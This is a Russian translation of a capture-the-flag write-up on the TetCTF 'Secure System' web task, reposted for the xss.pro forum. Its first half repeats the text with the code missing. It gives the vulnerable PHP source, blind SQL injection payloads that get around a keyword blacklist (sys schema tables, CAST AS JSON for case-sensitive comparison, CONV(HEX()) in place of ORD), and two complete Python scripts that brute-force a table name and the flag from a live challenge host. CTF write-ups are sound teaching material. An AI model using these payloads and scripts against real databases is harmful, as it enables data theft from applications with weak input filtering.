Недавно я просмотрел несколько веб-тасков на TetCTF и заметил интересную - «Безопасная система». Цель таска состояла в том, чтобы создать полезную нагрузку Blind SQL Injection без использования:
Полный черный список с примерами
Альтернативы таблице information_schema
Я прошерстил сеть в поисках альтернативных способов получения имен таблиц из базы данных MySQL, но не нашел ничего интересного. Все методы основаны либо на information_schema, либо на mysql.innodb_table_stats, и оба они будут отфильтрованы из-за ключевого слова «in». Итак, мы искали альтернативы и обнаружили таблицу
В приведенном выше примере,
С этим и слепой техникой SQLi мне удалось получить имя спрятанной таблицы: «Th1z_Fack1n_Fl4444g_Tabl3».
Как эту проблему решали другие люди
Я застрял на некоторое время, пытаясь получить секретное имя столбца, но мне не удалось. Однако я обнаружил таблицу,
Мне было любопытно, нашел ли кто-нибудь имя столбца, но выполнение скрипта занимало слишком много времени, поэтому мне удалось получить только что-то похожее на приведенный выше пример. Это может быть очень удобно при решении других задач SQL в будущем!
Получение информации без названия столбца
Если таблица содержит только один столбец, легко получить информацию из таблицы, не зная имени столбца. Просто простой
При этом, используя «меньше» (<) вместо «равно» (=), вы можете получить информацию символ за символом. Однако, есть одна проблема - сравнение в MySQL по умолчанию не учитывает регистр.
Принудительное сравнение с учетом регистра
Это не конец моих открытий в этом простом ctf таске! Хотя я получил секрет строчными буквами, мне нужно был регистро-независимое решение. Я обнаружил, что при приведении строки к двоичному формату это приведет к байт-байтовому сравнению, и это именно то, что мне нужно. Проблема заключалась в том, что этот финт также был отфильтрован из-за ключевого слова «in».
Я также заметил, что при объединении строки с двоичной строкой
После некоторых неудачных результатов и проб/ошибок я обнаружил, что
С этим улучшением мне удалось получить полный флаг, который фактически имел только один символ в верхнем регистре: facepalm: и я потратил несколько часов на то, чтобы обойти обход, в то время как я мог просто угадать флаг
Актуальная проблема и решение
Это именно то, что я люблю в CTF, одна простая задача может привести к довольно удивительным исследованиям. Задача была очень простой. Весь исходный код задачи был в виде фрагмента ниже:
Исходный код задачи
В идеале мы хотели бы использовать что-то вроде
После всех моих телодвижений и открытий, я извлек флаг при помощи простого пейлоада:
Мое полное решение:
get_flag.py
get_table_name.py
оригинальная заметка
автор @terjanq
Перевод: tabac, специально для https://xss.pro
- UNION … SELECT
- information_schema
- “in” и “or” кейворды
Полный черный список с примерами
Альтернативы таблице information_schema
Я прошерстил сеть в поисках альтернативных способов получения имен таблиц из базы данных MySQL, но не нашел ничего интересного. Все методы основаны либо на information_schema, либо на mysql.innodb_table_stats, и оба они будут отфильтрованы из-за ключевого слова «in». Итак, мы искали альтернативы и обнаружили таблицу
sys.x$schema_flattened_keys
В приведенном выше примере,
table_name содержит не только столбец, но и имя индексированного столбца id. Но это не единственный способ, есть еще одна таблица, sys.schema_table_statistics, которая отображает больше таблиц:
С этим и слепой техникой SQLi мне удалось получить имя спрятанной таблицы: «Th1z_Fack1n_Fl4444g_Tabl3».
Как эту проблему решали другие люди
Я застрял на некоторое время, пытаясь получить секретное имя столбца, но мне не удалось. Однако я обнаружил таблицу,
sys.x$statement_analysis, которая позволила мне искать решения других игроков
Мне было любопытно, нашел ли кто-нибудь имя столбца, но выполнение скрипта занимало слишком много времени, поэтому мне удалось получить только что-то похожее на приведенный выше пример. Это может быть очень удобно при решении других задач SQL в будущем!
Получение информации без названия столбца
Если таблица содержит только один столбец, легко получить информацию из таблицы, не зная имени столбца. Просто простой
SUBSTR((SELECT * FROM table),1,1)='x' все решит. Если таблица содержит более одного столбца, этот запрос выдаст ошибку. Есть хитрость, позволяющая сравнивать запросы с одинаковым количеством столбцов.
При этом, используя «меньше» (<) вместо «равно» (=), вы можете получить информацию символ за символом. Однако, есть одна проблема - сравнение в MySQL по умолчанию не учитывает регистр.
Принудительное сравнение с учетом регистра
Это не конец моих открытий в этом простом ctf таске! Хотя я получил секрет строчными буквами, мне нужно был регистро-независимое решение. Я обнаружил, что при приведении строки к двоичному формату это приведет к байт-байтовому сравнению, и это именно то, что мне нужно. Проблема заключалась в том, что этот финт также был отфильтрован из-за ключевого слова «in».
Я также заметил, что при объединении строки с двоичной строкой
CONCAT("aa", BINARY("BB")) результат также будет двоичным. После некоторых неудачных результатов и проб/ошибок я обнаружил, что
CAST(0 AS JSON) также возвращает двоичную строку, поэтому запрос SELECT CONCAT(“A”, CAST(0 AS JSON)) возвращает двоичную строку
С этим улучшением мне удалось получить полный флаг, который фактически имел только один символ в верхнем регистре: facepalm: и я потратил несколько часов на то, чтобы обойти обход, в то время как я мог просто угадать флаг
TetCTF {0wl_d0nkey_means_Liarrrrrrr}Актуальная проблема и решение
Это именно то, что я люблю в CTF, одна простая задача может привести к довольно удивительным исследованиям. Задача была очень простой. Весь исходный код задачи был в виде фрагмента ниже:
PHP:
<?php
require_once('dbconnect.php');
$flag = mysqli_query($conn,"SELECT * FROM xxxxxxxxxxxxxxxxxxx")->fetch_assoc()['yyyyyyyyyyyyyyyyyyyy']; //Sorry It's our secret, can't share
?>
<br><br><br><br><center>
Security Check!!! Please enter your ID to prove who are you !!!:
<form action="index.php" method="POST">
<input name="id" value="" /><br>
<input type="submit" value="Submit" />
</form>
</center>
<?php
if (isset($_POST['id']) && !empty($_POST['id']))
{
if (preg_match('/and|or|in|if|case|sleep|benchmark/is' , $_POST['id']))
{
die('Tet nhat ai lai hack nhau :(, very dangerous key word');
}
elseif (preg_match('/order.+?by|union.+?select/is' , $_POST['id']))
{
die('Tet nhat ai lai hack nhau :(, very dangerous statement');
}
else
{
$user = mysqli_query($conn,"SELECT * FROM users WHERE id=".$_POST['id'])->fetch_assoc()['username'];
if($user!=='admin')
{
echo 'Hello '.htmlentities($user);
if($user==='admin')
{
echo 'This can\'t be =]] Just put here for fun lul';
die($flag);
}
}
}
}
?>
В идеале мы хотели бы использовать что-то вроде
ORD(SUBSTR((SELECT smth),x,1))=77 для извлечения значений при помощи Blind SQL, но ORD отфильтрован из-за ключевого слова «or». Это можно легко обойти при помощи CONV(HEX(SUBSTR((SELECT ...),x,1)),16,10)=77
После всех моих телодвижений и открытий, я извлек флаг при помощи простого пейлоада:
Мое полное решение:
get_flag.py
Python:
import requests
sess = requests.Session()
URL = 'http://45.77.240.178:8002'
payload = '''((SELECT 1,CONCAT({flag}, CAST("0" as JSON))) <= (SELECT * FROM `Th1z_Fack1n_Fl4444g_Tabl3`))+1'''
def try_payload(payload):
r = sess.post(URL, data={'id':payload})
return 'Hello guest' not in r.text
ASCIIAlphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz}"
flag2 = 'TETCTF{0WL_D0NKEY_MEANS_LIARRRRRRR}'
flag = 'TetCTF{0wl_d0nkey_m'
last_c = ''
while True:
for c in ASCIIAlphabet:
# print('try: %s' %c)
t = flag + c
t = '0x'+t.encode('hex')
if try_payload(payload.format(flag=t)):
flag += last_c
print(flag)
last_c = ''
break
last_c = c
get_table_name.py
Python:
import requests, urllib, re, sys
sess = requests.Session()
fancy_console = False
URL = 'http://45.77.240.178:8002'
payload = '''EXP(
(CONV(
HEX(
SUBSTR({variable},@wOFFSET@,1)
),16,10
)<=@cORD@)
*1111)+1'''
ASCIIAlphabet = "\001 !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
simpleAlphabet = "\001abcdefghijklmnopqrstuvwxyz"
HEXAlphabet = "\0010123456789abcdef"
advancedAlphabet= "\0010123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz"
def gen_payload(variable):
p = payload.format(variable=variable)
return re.sub(r'\s+', ' ', p)
def check_char(id):
pass
def printInPlace(alert):
if fancy_console:
sys.stdout.write("{}{}".format(alert, "\b"*len(alert)))
sys.stdout.flush()
return fancy_console
def tryPayload(payload):
r = sess.post(URL, data={'id':payload})
return 'Hello guest' in r.text
#bin-search ASCII inside [alphabet]
def findName(payload, alphabet):
a = 0
b = len(alphabet)-1
while (a < b):
mid = (a+b)//2
c = alphabet[mid]
printInPlace(c)
if tryPayload(payload
.replace("@cORD@", str(ord(c)))
): a = mid + 1
else:
b = mid
return alphabet[a]
def findNames(payload, alphabet):
for result_offset in range(0, 10):
result = ""
pl = payload.replace("@rOFFSET@", str(result_offset))
for word_offset in range(1, 200):
pl2 = pl.replace("@wOFFSET@", str(word_offset))
c = findName(pl2, alphabet)
# print(c)
if c == alphabet[0]: break
print(c, end='')
sys.stdout.flush()
# sys.stdout.write(c)
# sys.stdout.flush
result+=c
print(" ")
if len(result) <= 1: break
return
# filter
# preg_match('/and|or|in|if|case|sleep|benchmark/is' , $_POST['id'])
# preg_match('/order.+?by|union.+?select/is' , $_POST['id'])
# Th1z_Fack1n_Fl4444g_Tabl3
findNames(gen_payload('''(select table_name from sys.x$schema_flattened_keys LIMIT @rOFFSET@, 1)'''), advancedAlphabet)
# retrieve others' solutions
# findNames(gen_payload('''(select query from sys.`x$statement_analysis` where query like '%Th1z_Fack1n_Fl4444g_Tabl3%' LIMIT @rOFFSET@, 1)'''), ASCIIAlphabet)
оригинальная заметка
автор @terjanq
Перевод: tabac, специально для https://xss.pro